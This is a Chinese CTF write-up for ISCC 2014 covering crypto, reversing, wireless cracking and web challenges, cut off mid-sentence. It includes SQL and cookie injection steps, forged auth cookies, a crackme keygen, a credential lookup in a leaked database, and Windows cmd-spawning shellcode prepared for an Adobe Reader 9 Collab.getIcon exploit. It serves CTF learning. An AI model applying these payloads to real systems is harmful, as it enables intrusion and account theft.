算上今年4月份的360 Hackergame通關戰,這是我第二次參加CTF比賽,現將比賽過程的一些思路和想法記錄下來,同時也感謝諸多大神的指教。
第一關沒啥好說的,F12一下,在response header里能找到Key
Flag:Welcome-to-ISCC
45對應ASCII“-”,42對應“*”,變成了-- *-- --* --* * *-* *--
,恰好是Morse密碼,解密得到mwggerw,Caesar解密一下得到isccans,即Flag。開始一直沒想到Caesar,直到看到兩個g連在一起,比賽的名字又有兩個c,才聯想到的。
Flag:isccans。
w{3}=www,目測是個網址,然后[xyz]表示一個xyz之一起始的域名,做這題的時候我恰好翻過墻,然后看到后面的watch和list想到了是youtube.com,翻墻進入頁面:www.youtube.com/watch?v=5x1vNTjbwcs&list=PL3ZQ5CpNulQm1cXMJ5M6tX3O5vyXnCYFd,視頻標題即Flag。
Flag:Chile hit by an 8.2 magnitude earthquake
這題坑死了,開始一直以為是HEASLR,怎么輸都不對……,后來經人提醒看圖標才發現 這個logo,這個PE工具我電腦里有卻一直沒想到。 Flag:CFF Explorer
MOV AX,CS
MOV DS,AX
MOV ES,AX
MOV CX,0020H
MOV DX,1004H
MOV BX,000CH
MOV AX,2300H
使用匯編轉換成機器碼的軟件:AsmToHex
Flag:8CC88ED88EC0B92000BA0410BB0C00B80023
F12打開,將表單提交方式由get改成post,然后輸入任意值提交即可。
Flag:4qrPccxPe9
下載附件,得到password.out,用WinHex打開,文件頭為7F 45 4C 46,用這個網站:http://www.garykessler.net/library/file_sigs.html查到是一個Linux下的可執行文件。
用IDA加載,文件中有一段很惹眼的字符串:
提交發現就是Flag。 Flag:abc456_09876tiyouare
下載附件,得到一張PNG圖,用二進制打開,沒發現什么端倪,看來Flag在圖片內容里面。打開發現是兩種字體一正一斜寫成一句話:
開始想的是把正斜體分開來處理,未果。經人提醒是培根密碼,又學到一招,之前不知道這個。將密文5個一分組,a代表正體,b代表斜體得到:
aabab baaaa aabaa aabaa aaabb abbab ababb
查密碼表得到freedom,用的是培根密碼百度百科的第二種方式的密碼表。
Flag:freedom
RSA算法加密,密文是981,w = 13,n = 2537,求明文P
題目中的“分解式的一個因子是43”完全沒有必要告知。
n=2537=43*59=p*q,φ(n)=(p-1)*(q-1)=42*58=2436,e=w=13,C=981
需要找到d使得d*e=1(modφ(n)),用一個我寫的小工具得到d=937
于是明文P=C^d(mod n),用python可以很快得出結果:
Flag:704
下載附件,得到handshake.cap,看來是需要通過握手包來跑出密碼。使用EWSA(ELcomsoft Wireless Security Auditor)打開cap文件:
選上合適的字典,開始攻擊,最后得到結果:
Flag:zzzzzzzz
要破WEP密碼,首選aircrack-ng,這軟件還有windows的GUI版,不過它只認.cap和.pcap格式的文件,需要將附件中的.pkt文件轉換成.pcap格式。 開始選擇wireshark進行轉換,放到aircrack-ng里破解總是提示:
看來wireshark不太給力,換成OmniPeek來轉換,繼續aircrack-ng,這下有結果了,aircrack-ng很快就搞定了:
WEP的密鑰的ASCII值為:2014IscCwifiY
然后用wireshark或OmniPeek打開.pkt或.pcap文件都行,輸入WEP密鑰解碼數據包。 wireshark:
OmniPeek:
在第一個HTTP包里面就能找到登錄密碼:
Flag:Thisiskey
這是一道陳題,SWPU2012的題,剛參賽的時候,很多題不得要領,于是翻了不少其他CTF的writeup,恰巧就看到了這題。以下是SWPU提供的解答: 用記事本打開,注意末尾的代碼:
:execute(replace(replace(strreverse(swpu), Chr(-23646), Chr(34)), "★", vbCrLf))
顯然execute后的括號里是在進行代碼解密還原,我們現在需要明文代碼,將末尾代碼修改為:
Set fso = CreateObject("scripting.FileSystemObject")
Set myfile = fso.openTextFile("code.txt", 2, True)
myfile.write(replace(replace(strreverse(swpu), Chr(-23646), Chr(34)), "★", vbCrLf))
Set myfile = Nothing
Set fso = Nothing
修改后保存,然后打開輸出文件code.txt,分析代碼,發現關鍵算法如下:
if (len(str)=14) then
for i=0 to 13
if Int(asc(mid(str,14-i,1))+pwda(i))=Int(tbl(i+pwdb(i))) then
x=x+1
else
msgbox err
exit for
end if
next
if x=14 then
msgbox ok
end if
else
msgbox err
end if
首先,輸入的文本長度必須為14,接著就是每一位的驗證:
Int(asc(mid(str,14-i,1))+pwda(i))=Int(tbl(i+pwdb(i)))
只有滿足這個條件的字母,程序才會繼續驗證下一條,否則就報錯,分析一下這句判斷,pwda、pwdb、tbl都是常量數組,因此這里只需要進行反向計算即可。 將循環部分的代碼改為如下代碼:
for i=0 to 13
key = chr(tbl(i+pwdb(i)) - pwda(i))&key '驗證是倒序的,所以這里也應該倒序
next
msgbox key
再次運行這個VBS,即可得到本題的Flag。
Flag:vB5_5cR1pT.Vb$
下載附件,打開是一個加密txt文本的程序。用IDA打開該程序,大致可以看到:
其中sub_401b00:
基本上可以確定是單碼代換,我們可以自行構造合適的txt來測試加密過程:
首先取txt內容為:0123456789abcdefghijklmnopqrstuvwxyz。
得到對應的密文為:efghijklmn=========================z。
可以看出0-9依次加密為e-n,a-y的加密結果均為“=”,z加密不變。
再取txt內容為:ABCDEFGHIJKLMNOPQRSTUVWXYZ,
得到對應的密文為:vwxyz{|}~€亗儎厗噲墛媽崕?。
Winhex下查看即知,密文的ASCII碼恰為0x76,0x77,…,0x8F,得到ABCDE依次加密為vwxyz。
最后取txt內容為 !"#$%&'()*+,-./
得到對應的密文為!#%')+-/135,.0
由此我們知道已知密文“+%=keky+%=jjnx”中:
“+”→“&” “%”→“#”
“k”→“6” “e”→“0”
“y”→“D” “j”→“5”
“n”→“9” “x”→“C”
最后還有一項“=”,但是a-y的加密結果均為“=”,由&#我們知道這是Unicode編碼方式,“=”應該由16進制標識符x加密而來,從而明文是恭喜,對應的中文漢字就是“恭喜”。
Flag:恭喜
?
下載附件,得到crackBynet,用WinHex打開,文件頭為7F 45 4C 46,依然是Lunix可執行文件,IDA加載之,翻了一陣有個echo(void)的函數很可疑:
有個the password is:心中竊喜,開始一直以為Flag就是那三個字符串的組合,無奈怎么嘗試都不正確,還是決定分析函數看運行結果。
std__string__string(&v15, "sdfaer34dfv234523aae3fas", &v14);
即v15="sdfaer34dfv234523aae3fas".
v1 = std__string__at(&v15, 10); v1=v15[10]=’v’,然后cout<<v1;
v2 = std__string__at(&v15, 0); v2=v15[0]=’s’,然后cout<<v2;
v3 = std__string__length(&v15); v3=length(v15)=24,然后cout<<v3;
v4 = std__string__at(&v15, 1); v4=v15[1]=’d’,然后cout<<v4;
v5 = std__string__at(&v15, 4); v5=v15[4]=’e’,然后cout<<v5;
std__string__append(&v15, "sdfsad"); v5="sdfaer34dfv234523aae3fassdfsad"
v6 = std__string__at(&v15, 8); v6=v15[8]=’d’,然后cout<<v6;
v7 = std__string__at(&v15, 21); v7=v15[21]=’f’,然后cout<<v7;
v8 = std__string__at(&v15, 8); v8=v15[8]=’d’,然后cout<<v8;
std__string__append(&v15, "wrwnxcisd");
v15="sdfaer34dfv234523aae3fassdfsadwrwnxcisd"
v9 = std__string__at(&v15, 16); v9=v15[16]=’3’,然后cout<<v9;
v10 = std__string__at(&v15, 13); v10=v15[13]=’4’,然后cout<<v10;
v11 = std__string__at(&v15, 12); v11=v15[12]=’3’,然后cout<<v11;
v12 = std__string__at(&v15, 19); v12=v15[19]=’e’,然后cout<<v12;
一共輸出了vs24dedfd343e,提交即Flag。
Flag:vs24dedfd343e
根據題目要找的是exif漏洞,搜索exif漏洞:
應該在上傳的圖片的exif信息里嵌入xss代碼。
Flag:19ojep03
BurpSuite截下包發現是通過multipart/form-data方式傳遞表單:
改成一般的表單(post)傳遞參數,頁面正常顯示。
balance=4&year=2012&month=1&submit=Let%27s+Go+%21
多次嘗試發現balance=2時,?處總是顯示2013,比較穩定。 故決定固定balance=2進行注入。
根據題目提示,秘密在xiaoming這張表中。
Flag:9xme0siv2
http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/index.html 頁面提示有兩個用戶,Admin和VeryCD永垂不朽,看來是要通過一般用戶VeryCD永垂不朽來獲取管理員Admin的密碼。 http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html下有個登錄框,需要的是郵箱和密碼而不是用戶名。
將VeryCD永垂不朽放到社工庫搜索得到:
[email protected][512312成功登錄。
下載圖片用Winhex打開,在文件末段可以看到部分代碼。
從代碼可以得知,hsh=md5(salt+strrev(auth)),其中salt是8位的,直接搜索代碼:
點進去發現原來是PlaidCTF2014的writeup,內容和火眼金睛極為相似,差別是一個md5,一個是sha256。
同時得到提示,有個admin.php的頁面,打開
提示未授權。打開cookie:
通過hsh=md5(salt+strrev(auth)),看已有的hsh和auth能否得出salt。
從而salt=iamadmin。
和這里類似:將auth=b:0;修改為b:1;,重新計算hash=md5(iamadmin;1:b)= 4221c14a2bc59a3c2998a531ff7cb929
。將cookie的auth和hsh修改成這兩個值:
刷新頁面變成了:
下面就是post注入的時間了:
[email protected]E8BA6登錄網頁:
下載圖片,Winhex打開,文件中部發現:
Flag:I_AM_A_VERY_SMART_ADMIN_LOL
轉讓2048MB(≤2GB),頁面提示“生日禮物就給我這么點流量么?怎么也得100GB吧。嘻嘻”。轉讓2049MB,頁面提示“你那有那么多流量啊?”。看來閥值是2048。大致代碼應該是if(uploaded/1024<=2)…else…。
經過管理員提醒知道考察點是變量覆蓋后,大家就開始猜測變量名是什么。已有2G,要求轉100G,我開始的想法就是覆蓋2G的變量,將2G修改為1000G,這樣再轉讓流量就能通過。接著就開始了我噩夢般的爆破過程,首先根據其他2個變量名uploaded和receiver猜測應該是一個單詞,我拿了一個20M的來自于Facebook的words字典,天天跑,當然單字母變量這種也早就試過,post跑完跑get,get跑完跑cookie,總之沒有結果。所用Payload如下:
uploaded=204800&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4&§a§=1000
跑了幾天,有大神已搞定,我才變換思路去覆蓋100G對應的變量,將100G變小到小于已有的2G也能轉讓成功。所用Payload如下:
uploaded=123&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4&§a§=1
G對應的response信息為:感謝你的禮物,我現在已經有999999999MB的流量了! 至此得到G是要覆蓋的變量名,且要求G<2。 下面開始注入的過程:
Flag:8froerf9pu34rjeslfh
SWPU2012的陳題,以下是SWPU提供的解答。 進入題目頁面,提示“密碼已經通過某種方式發給你了哦!不過密碼的有效期只有3秒,要快哦!”(居然連提示內容都一樣) HTTP response頭里可以看到要提交的PassWord。
再根據題目信息,需要將這個密碼先MD5加密再提交,但這里只有3秒的有效時間,很明顯這里只有通過編程才能完成了。 參考代碼(Visual C#):
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Web;
using System.Net;
using System.Security;
using System.Security.Cryptography;
using System.Text;
namespace Client1
{
class Program
{
static void Main(string[] args)
{
CookieContainer cookieContainer = new CookieContainer();
//獲取頭信息中的密碼
string URI = "http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/";
HttpWebRequest request = WebRequest.Create(URI) as HttpWebRequest;
request.CookieContainer = cookieContainer;
request.Method = "GET";
request.KeepAlive = false;
HttpWebResponse response = request.GetResponse() as HttpWebResponse;
string pwd = response.Headers["PassWord"];
//MD5加密
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
string MD5Pwd = BitConverter.ToString(md5.ComputeHash(UTF8Encoding.Default.GetBytes(pwd)));
MD5Pwd = MD5Pwd.Replace("-", "");
Console.WriteLine("PassWord: {0}\r\nMD5: {1}\r\n", pwd, MD5Pwd);
//提交結果
string formatString = "pwd={0}";
string postString = string.Format(formatString, MD5Pwd);
byte[] postData = Encoding.ASCII.GetBytes(postString);
URI = "http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/?action=Check";
request = WebRequest.Create(URI) as HttpWebRequest;
request.CookieContainer = cookieContainer;
request.Method = "POST";
request.KeepAlive = true;
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";
request.ContentType = "application/x-www-form-urlencoded";
request.CookieContainer = cookieContainer;
request.ContentLength = postData.Length;
request.ServicePoint.Expect100Continue = false;
System.IO.Stream outputStream = request.GetRequestStream();
outputStream.Write(postData, 0, postData.Length);
outputStream.Close();
// 接收返回的頁面
response = request.GetResponse() as HttpWebResponse;
System.IO.Stream responseStream = response.GetResponseStream();
System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.GetEncoding("UTF-8"));
string srcString = reader.ReadToEnd();
Console.WriteLine("{0}", srcString);
Console.ReadKey();
}
}
}
執行程序,得到:
Flag:W3b_Pr0Gr4m1ng@_@
SWPU2012的陳題,以下是SWPU提供的解答。 下載題目文件,由于是dll文件,很明顯只能在NT環境下使用,在windows 上搭建一個mysql環境,將udf.dll放置到mysql安裝目錄中的bin文件夾中,然后以root權限登錄mysql,執行下面這樣一條語句:
create function about returns string soname 'udf.dll'
然后再執行:
select about()
返回的結果如下:
Use getkey function to get the key!
很明顯,getkey是最終我們需要的函數名,再次添加函數:
create function getkey returns string soname 'udf.dll'
然后再執行:
select getkey()
即可得到本題的KEY。
Flag:[email protected]
URL中/show.asp?id=1,基本上確定是SQL注入沒跑了。構造語句嘗試注入: /show.asp?id=1 and 1=1,結果出現了防注入提示:
很明顯,這里考察的是繞過防注入。嘗試大小寫變換等,結果都無效。考慮其他的傳參方式,COOKIES傳參通常是漏洞發生的地方,首先刪除url中的id=1,利用Firefox插件Firebug添加cookies:id:1 and 1=1
刷新頁面,發現能返回正常內容,很明顯,這里可以cookies注入。上sqlmap:
因網站問題,無法復現。
Flag:CaiBuDaoDeMiMa ?
解壓附件得到一個exe和一個txt,exe需要輸入密碼,PEid查下發現是.net程序。
txt中的的字符串經過base64解碼,和Unidcode解碼
得到一串中文:
完全看不出有什么用,還是從exe入手吧。 .Net Reflector加載GetThePictures.exe,可以看到加密方式是AES。
其中CheckKey()中可以看到加密得到的密文
輸入DI0PFY8TP9x61YTtUkmqYQ==,得到4張圖片fangkuaiK.png,meihuaK.gif,hongtaoK1.jpg,heitaoK.bmp:每張圖上有一句英文,分別是
fangkuaiK.png:enjpy yourself here
meihuaK.gif: good luck to you
hongtaoK1.jpg:welcome to iscc
heitaoK.bmp: God bless you
挨個嘗試得到Flag。
Flag:God bless you
題目要求每次都聽Andy的,那就把Bob和Carl的名字都改成Andy。
↓
再次運行程序,得到
Flag:FireInTheHole
SWPU2012的陳題,以下是SWPU提供的解答。 用Reflector反編譯,找到Button1_click事件代碼如下:
分析代碼,這里調用了函數Encrypt對輸入的內容進行處理,如果返回的等于"sXeC6p/mrl93Jyq3F79+Jg==
"則彈出成功提示。繼續分析Encrypt函數代碼:
通過Rijndael可以看出這里是用了 AES加密算法,AES算法是對稱加密算法,密鑰這里就是"swpu2012swpu2012swpu2012swpu2012
",現在要做的就是編寫個C#程序用同樣的算法把密文還原即可。 參考代碼(C#):
using System;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Text;
namespace decrypt
{
class Program
{
static void Main(string[] args)
{
byte[] key = UTF8Encoding.UTF8.GetBytes("swpu2012swpu2012swpu2012swpu2012");
byte[] data = Convert.FromBase64String("sXeC6p/mrl93Jyq3F79+Jg==");
RijndaelManaged managed = new RijndaelManaged();
managed.Key = key;
managed.Mode = CipherMode.ECB;
managed.Padding = PaddingMode.PKCS7;
ICryptoTransform cTransform = managed.CreateDecryptor();
string result = UTF8Encoding.UTF8.GetString(cTransform.TransformFinalBlock(data, 0, data.Length));
Console.WriteLine("{0}", result);
Console.ReadKey();
}
}
}
Flag:Ae5_3nCrYpT1on
下載附件,用IDA加載,注意到sub_401000函數:
這里偽代碼很明顯,要求輸入的字符串是hellow,重新運行程序輸入hellow,得到Flag。
Flag:Eaglewatch
經過OD和IDA Pro的分析,大致得出注冊碼至少31位,多于31位的部分對注冊過程沒任何影響第1位由注冊名第1位而來,第7位和第14位必須為”-”,第15到20位表示到期時間,前21位的其他位置可以任意。第22-31位由前21位唯一決定。
IDA可以看到主要2個函數的偽代碼:
前21位經過sub_4016C0()運算后再加上一個常量字符串和注冊碼經過sub_401750()運算后得到一個8位16進制數,該數與atoi(sub_4016C0(第22-32位))作比較后,相等則注冊成功,否則注冊失敗。 注冊機參考代碼(C#):
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace CrackMeKeygen
{
public partial class Form1 : Form
{
private static string constStr = "9b66fd67e34de9d6c52cfcc824f3c84a2f89b30192c232ccaf299273836b88a5"; // 字符串常量
public Form1()
{
InitializeComponent();
this.dtpDate.MaxDate = new System.DateTime(2099, 12, 31, 0, 0, 0, 0);
this.dtpDate.MinDate = new System.DateTime(2000, 1, 1, 0, 0, 0, 0);
this.dtpDate.Value = new System.DateTime(2014, 8, 1, 0, 0, 0, 0);
this.txtUsername.Text = "iscc";
}
private void btnCrack_Click(object sender, EventArgs e)
{
string username = txtUsername.Text; // 注冊名
if (username.Trim() == "")
{
MessageBox.Show("用戶名不能為空!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
string date = this.dtpDate.Value.ToString("yyMMdd"); // 到期日期,格式為140801
UInt32 eax; // 判斷注冊成功與否關鍵步驟的EAX寄存器的值
do
{
Random rd = new Random(); // 隨機產生注冊碼第2-6和8-13位
// 第一部分為第1-21位
string regeditCode1_21 = encode(username[0].ToString()) // 第1位
+ Convert.ToString(rd.Next(0x10000, 0xfffff), 16) + "-" // 第2-6位,第7位為"-"
+ Convert.ToString(rd.Next(0x100000, 0xffffff), 16) + "-" // 第8-14位,第14位為"-"
+ encode(date) + "-"; // 第15-20位為到期時間,美觀起見取第21位為"-"
// 第二部分為第22-31位,由第一部分1-21位唯一決定
string edi = confound(encode(regeditCode1_21) + constStr + txtUsername.Text); // edi寄存器返回前21位加密后與字符串常量和注冊名一起經過confound函數后的值
eax = UInt32.Parse(edi, System.Globalization.NumberStyles.HexNumber); // eax == edi
string regeditCode22_31 = encode(eax.ToString()).PadLeft(10, '5'); // 由eax的值逆推注冊碼第22-31位,并格式化為10位,不足10位補5,因為encode(5)=0
txtRegeditCode.Text = regeditCode1_21 + regeditCode22_31; // 完整注冊碼
} while (eax > 2147483647); // eax > 2147483647時,由于源程序中比較eax和edi之前edi有一步與0xffffffff的異或操作,此時導致edi!=eax,無法通過注冊,故需使eax <= 2147483647,此時異或操作對edi沒有影響
}
/// <summary>
/// 注冊碼簡單加密函數
/// </summary>
/// <param name="strTemp">輸入的注冊碼</param>
/// <returns>加密后的注冊碼</returns>
/// 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
/// ↓↑
/// encode↓↑encode
/// ↓↑
/// 5678901234NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm
private string encode(string strTemp)
{
char[] chTemp = strTemp.ToCharArray();
for (int i = 0; i < chTemp.Length; i++)
{
if (chTemp[i] >= 48 && chTemp[i] <= 57)
{
chTemp[i] = (char)((chTemp[i] - 43) % 10 + 48);
}
if (chTemp[i] >= 65 && chTemp[i] <= 90)
{
chTemp[i] = (char)((chTemp[i] - 52) % 26 + 65);
}
if (chTemp[i] >= 97 && chTemp[i] <= 122)
{
chTemp[i] = (char)((chTemp[i] - 84) % 26 + 97);
}
}
string result = new string(chTemp);
return result;
}
/// <summary>
/// 對輸入的21位注冊碼+64位常量字符串+注冊名進行混淆
/// </summary>
/// <param name="strTemp"></param>
/// <returns></returns>
private string confound(string strTemp)
{
int eax = 0, edi, ebx, edx = 0;
do
{
edi = strTemp[eax];
ebx = edx;
ebx = ebx << 5;
ebx = ebx - edx;
edi += ebx;
eax++;
edx = edi;
} while (eax < strTemp.Length);
return Convert.ToString(edi, 16);
}
}
}
IDA打開附近中的exe程序,注意到sub_401000和sub_40104F函數:
其中off_409030是一段字符串:
偽代碼比較明顯,直接拿到瀏覽器控制臺計算,既然模100和模99,故只需要取字符串的前100位。
b提交就是Flag。
Flag:(3q&vf2vw%f7Vj9Ookj
這個研究了幾天,一直沒搞定,我是在XP虛擬機里弄的,因為要結合IDA看程序,而我的64位IDA沒有F5功能,只能用32位的IDA,相應的OD加載程序也在32位機子上比較好。后來大神提示OD跑完就行了,而我用OD從頭跑到尾也沒有太大收獲。不知道是不是XP的原因,首先源程序在win7下可以正常運行,在XP下直接就彈出對話框了:
這個我通過nop掉判斷windows版本的地方解決了。當大神告知Key后,卻發現win7和XP居然還不一樣:
我只能說無語啊……
Flag:e41cf485e2a0e8707ff8fc0291f55cec
附件中的exe可以用壓縮軟件打開,解壓得到一個0字節的文件,文件名我不是傳說中的密碼,暫時不知道有啥用。
exe還可以用7z打開,可以在里面找到一個132.bmp和exe的icon文件。132.bmp打開如圖:
與exe的icon相差較大。在132.bmp的底部可以找到壓縮的rar部分:
修改132.bmp的第11字節9E為36,再打開:
可以發現和icon的圖一樣了,除此得不出什么有用的信息了。 OD加載exe,單步運行到sub_401100函數時,有一個執行0x300E次的循環,該循環將內存中從0040F1C0開始的部分,變成132.bmp的內容:
循環之后,修改至0040B1F7:
0041B1F6和0041B1F7,變成了”Ra”的ASCII碼,似乎是rar文件的文件頭,于是想到把循環次數增加,讓程序把后面部分也修改。繼續往下翻,這一部分非0的內存直到41B6C3結束。
需要循環一共執行(0x41B6C3-0x41B1F7)/4+0x300E=0x3141
次,從而在進入循環之前直接將寄存器EAX中的300E修改為3141。
循環結束剛好是rar文件的文件尾。將0x41B1F6-0x41B6C3部分復制出來,得到一個rar文件,打開后里面有個key.png,但是rar加了密。
拿出最開始得到的密碼:我不是傳說中的密碼,得到Key:
Key: C6ua3izS2ze9Wetx
Flag:C6ua3izS2ze9Wetx
這個我一直沒搞定程序里的反調試,用了52Pojie的破解版OD也不行。F9一下,就變成終止了,期待大神指導。Key是大神提供的:
Flag:MD5_is_easy+C9841-4FF72-14430-D82EF-B6AC2
?
Pwn部分我確實不會,之前也沒弄過,唯一弄出的一個代碼什么的都是別人的。
百度搜索Adobe Reader 9.0漏洞,發現下面2個頁面,
【原創】CVE-2009-0027調試筆記: http://bbs.pediy.com/showthread.php?t=98139
【原創】完整剖析Acrobat Reader - Collab getIcon universal exploiter之路
http://hi.baidu.com/snowdbg/item/e788c12aeffa49866e2cc39b 其中還提供了POC文件,該POC中嵌入了能夠執行的Javascript代碼,通過doc.Collab.getIcon函數觸發漏洞,如圖
下面只需要將彈出msgbox的shellcode修改為彈出cmd命令行的shellcode,繼續搜索cmd shellcode, shellcode啟動CMD http://blog.sina.com.cn/s/blog_7cb57750010137y4.html 將其中的shellcode
char shellcode[]=
//打開CMD的shellcode
"\x55" //push ebp
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xF5\x6D" //mov byte ptr[ebp-0Bh], 6Dh
"\xC6\x45\xF6\x73" //mov byte ptr[ebp-0Ah], 73h
"\xC6\x45\xF7\x76" //mov byte ptr[ebp-09h], 76h
"\xC6\x45\xF8\x63" //mov byte ptr[ebp-08h], 63h
"\xC6\x45\xF9\x72" //mov byte ptr[ebp-07h], 72h
"\xC6\x45\xFA\x74" //mov byte ptr[ebp-06h], 74h
"\xC6\x45\xFB\x2E" //mov byte ptr[ebp-05h], 2Eh
"\xC6\x45\xFC\x64" //mov byte ptr[ebp-04h], 64h
"\xC6\x45\xFD\x6C" //mov byte ptr[ebp-03h], 6Ch
"\xC6\x45\xFE\x6C" //mov byte ptr[ebp-02h], 6Ch
"\x8D\x45\xF5" //lea eax, [ebp-0Bh]
"\x50" //push eax
"\xBA\x7B\x1D\x80\x7C" //mov edx, 0x7C801D7Bh
"\xFF\xD2" //call edx
"\x83\xC4\x0C" //add esp, 0Ch
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xFC\x63" //mov byte ptr[ebp-04h], 63h
"\xC6\x45\xFD\x6D" //mov byte ptr[ebp-03h], 6Dh
"\xC6\x45\xFE\x64" //mov byte ptr[ebp-02h], 64h
"\x8D\x45\xFC" //lea eax, [ebp-04h]
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov edx, 0x77BF93C7h
"\xFF\xD0" //call edx
"\x83\xC4\x10" //add esp, 10h
"\x5D" //pop ebp
"\x6A\x00" //push 0
"\xB8\xc7\x93\xbf\x77" //mov eax, 0x7c81cb12
"\xFF\xD0"; //call eax
轉化為unicode編碼就行,得到shellcode
%u8b55%u33ec%u50c0%u5050%u45c6%u6df5%u45c6%u73f6%u45c6%u76f7%u45c6%u63f8%u45c6%u72f9%u45c6%u74fa%u45c6%u2efb%u45c6%u64fc%u45c6%u6cfd%u45c6%u6cfe%u458d%u50f5%u7bba%u801d%uff7c%u83d2%u0cc4%uec8b%uc033%u5050%uc650%ufc45%uc663%ufd45%uc66d%ufe45%u8d64%ufc45%ub850%u93c7%u77bf%ud0ff%uc483%u5d10%u006a%u12b8%u81cb%uff7c%u90d0
最后一個需要添加nop對應的90 ?
下載附件,附件名提示此為gif圖片,但是卻無法打開,需要修復gif圖片。Winhex打開圖片,查看文件頭:
與正常的gif文件頭:
相比少了47 49 46 38四個字節,補全后打開得到一gif動圖。由于動圖動畫很快,需要逐禎查看。
通過http://www.360doc.com/content/13/0314/18/699582_271506280.shtml得到:
Y2F0Y2hfdGhlX2R5bmFtaWNfZmxhZ19pc19xdWl0ZV9zaW1wbGU=
Base64解碼得到Key。 Flag:catch_the_dynamic_flag_is_quite_simple
下載附件根據提示要求用matlab提取出右聲道的前0-1248位。 Matlab代碼如下:
>> [y,Fs,bits]=wavread('target.wav',1248);%讀入文件0-1248的數據
>> y_right=y(:,2);%讀右聲道
>> wavwrite(y_right,Fs,bits,'1248.wav');%寫入新文件
1248.wav內容如圖:
1248.wav共計2540字節,去掉前2540-1248*2=44字節。對剩下2496字節中的01,將之替換成1,00替換成0,每16字節對應成一個8位的2進制串,再轉成相應的字符。 參考代碼(C#):
string inputFile = "E:\\1248.wav";
string outputFile = "E:\\156.txt";
FileStream inputFS = new FileStream(inputFile, FileMode.Open, FileAccess.Read);
FileStream outputFS = new FileStream(outputFile, FileMode.Append, FileAccess.Write);
BinaryReader br = new BinaryReader(inputFS);
StreamWriter sw = new StreamWriter(outputFS);
int length = (int)inputFS.Length;
byte[] buffer = new byte[length];
inputFS.Read(buffer, 0, buffer.Length);
int n = length / 16;
for (int i = 0; i < n; i++)
{
string ch = "";
for (int j = 0; j < 16; j += 2)
{
if (buffer[j + i * 16] == 0x01)
ch += "1";
if (buffer[j + i * 16] == 0x00)
ch += "0";
}
sw.Write((char)Convert.ToInt32(ch,2));
}
br.Close();
sw.Close();
inputFS.Close();
outputFS.Close();
運行結果156.txt:
Carser一下,即能看到Flag。
Flag:Jerusalembellsareringing
打開附件圖片,放大后在lena背上隱約能看到一個字母P,Flag應該就寫在圖片上,需要對圖片進行銳化。Matlab銳化代碼如下:
>> ima=imread('ifs.bmp');%讀入圖像
>> if isrgb(ima)
ima=rgb2gray(ima);%如果是彩色圖像,則轉為灰度圖像
end
>> ima=double(ima);
>> h=fspecial('laplacian');%laplacian算子銳化
>> bw = imfilter(ima,h);
>> imwrite(uint8(bw),'ifs1.bmp');%寫入文件
得到ifs1.bmp:
已經隱約能看到Flag了,對ifs1.bmp再進行如上的操作,每次將上一次的結果做同樣處理,累計進行四次能看到清晰的Flag。
Flag:At10ISCC421ZLAPL
解壓附件得到capture.log,用wireshark打開文件。掃描之前需要ping目標主機,以確保一下機器是存活的,從而目標轉為尋找第五次的ping包。Ping包是ICMP 協議,但是這里我不明白為什么第五次掃描的ICMP包是192.168.0.1那個。
Flag:1602.084879
下載附件得到一個apk和一個加密的日志文件,用Gapktool反編譯apk。
這里使用Gapktool得到的res文件夾中values文件夾內容不全,我用了另一個反編譯工具再編譯了一次,得到了比較完整的values文件夾。 查看反編譯得到的代碼:com.iscc.lockednote.MainActivity.java
可以看出密碼有兩層,第1層密碼的值為mConstant.a(),第2層密碼的值為mConstant.b()。 這是mConstant的定義:
查看com.iscc.local.a.java,我們需要得到a()和b()的返回值。先看a.():
sb = a.t()+a.g()+a.a()+a.o()
,這里的a的定義是private b a; a是一個b類,具體定義在com.iscc.local.b.java中,到b.java中查看,先把a.t()放到一邊,暫時先看a.g():
a.g()返回某個叫0x7f05000d的東西的文本值,到res文件夾找找: public.xml:
原來是id=”0x7f05000d”
,其name=”h”
,還不是我們要的文本值,繼續查找name=”h”
的東西,strings.xml
:
name=”h”
,對應的文本值也是h,這樣a.g()=”h”
。 同樣的我們可以得到其他一些函數的返回值,具體如下:
a.a()=”a” a.b()=”b” a.c()=”e” a.d()=”c” a.e()=”d” a.f()=”g” a.g()=”h”
a.h()=”f” a.i()=”l” a.j()=”i” a.k()=”k” a.l()=”n” a.m()=”o” a.n()=”s”
a.o()=”t” a.p()=”r” a.q()=”u” a.r()=”y” a.s()=”z”
從而依據mConstant.a()的定義,我們有:
sb=a.t()+”hat”
sb1= sb+b.u()+”bad”= a.t()+”hat”+ b.u()+”bad”
s=sb1+b.u()=a.t()+”hat”+ b.u()+”bad”+b.u()
sb2=”luck”
s1=sb2+b.u()+”recently”=”luck”+b.u()+”recently”
a()=s+s1=a.t()+”hat”+ b.u()+”bad”+b.u()+”luck”+b.u()+”recently”
下面來看a.t()和b.u(),到b.java里面查看定義:
a.t(){return b;} b.u(){return a;} b.v(){return c;}
這里的返回值a b c的定義是:
都被初始化為” ”,似乎a.t()=b.u()=b.v()=” ”
,但是“ hat bad luck recentl”
